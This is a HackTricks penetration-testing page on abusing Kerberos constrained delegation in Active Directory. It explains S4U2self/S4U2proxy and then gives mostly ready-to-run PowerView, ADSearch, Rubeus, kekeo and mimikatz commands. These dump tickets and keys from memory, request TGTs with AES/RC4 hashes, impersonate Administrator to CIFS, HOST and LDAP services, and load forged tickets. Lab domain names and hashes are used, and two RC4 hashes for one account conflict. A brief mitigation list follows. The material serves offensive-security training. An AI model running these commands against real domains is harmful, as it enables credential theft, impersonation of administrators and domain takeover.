hacktricks/windows-hardening/active-directory-methodology/constrained-delegation.md

# Constrained Delegation

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## Constrained Delegation

Using this a Domain admin can **allow** a computer to **impersonate a user or computer** against a **service** of a machine.

* **Service for User to self (**_**S4U2self**_**):** If a **service account** has a _userAccountControl_ value containing [TRUSTED\_TO\_AUTH\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) (T2A4D), then it can obtain a TGS for itself (the service) on behalf of any other user.
* **Service for User to Proxy(**_**S4U2proxy**_**):** A **service account** could obtain a TGS on behalf any user to the service set in **msDS-AllowedToDelegateTo.** To do so, it first need a TGS from that user to itself, but it can use S4U2self to obtain that TGS before requesting the other one.

**Note**: If a user is marked as ‘_Account is sensitive and cannot be delegated_ ’ in AD, you will **not be able to impersonate** them.

This means that if you **compromise the hash of the service** you can **impersonate users** and obtain **access** on their behalf to the **service configured** (possible **privesc**).

Moreover, you **won't only have access to the service that the user is able to impersonate, but also to any service** because the SPN (the service name requested) is not being checked, only privileges. Therefore, if you have access to **CIFS service** you can also have access to **HOST service** using `/altservice` flag in Rubeus.

Also, **LDAP service access on DC**, is what is needed to exploit a **DCSync**.

{% code title="Enumerate" %}
```bash
# Powerview
Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto

#ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
```
{% endcode %}

{% code title="Get TGT" %}
```bash
# The first step is to get a TGT of the service that can impersonate others
## If you are SYSTEM in the server, you might take it from memory
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one
## Get AES/RC4 with mimikatz
mimikatz sekurlsa::ekeys

## Request with aes
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap

# Request with RC4
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
```
{% endcode %}

{% hint style="warning" %}
There are **other ways to obtain a TGT ticket** or the **RC4** or **AES256** without being SYSTEM in the computer like the Printer Bug and unconstrain delegation, NTLM relaying and Active Directory Certificate Service abuse

**Just having that TGT ticket (or hashed) you can perform this attack without compromising the whole computer.**
{% endhint %}

{% code title="Using Rubeus" %}
```bash
#Obtain a TGS of the Administrator user to self
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator

#Obtain service TGS impersonating Administrator (CIFS)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS

#Impersonate Administrator on different service (HOST)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST

# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap

#Load ticket in memory
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
```
{% endcode %}

{% code title="kekeo + Mimikatz" %}
```bash
#Obtain a TGT for the Constained allowed user
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d

#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL

#Load the TGS in memory
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'  
```
{% endcode %}

### Mitigation

* Disable kerberos delegation where possible
* Limit DA/Admin logins to specific services
* Set "Account is sensitive and cannot be delegated" for privileged accounts.

[**More information in ired.team.**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)

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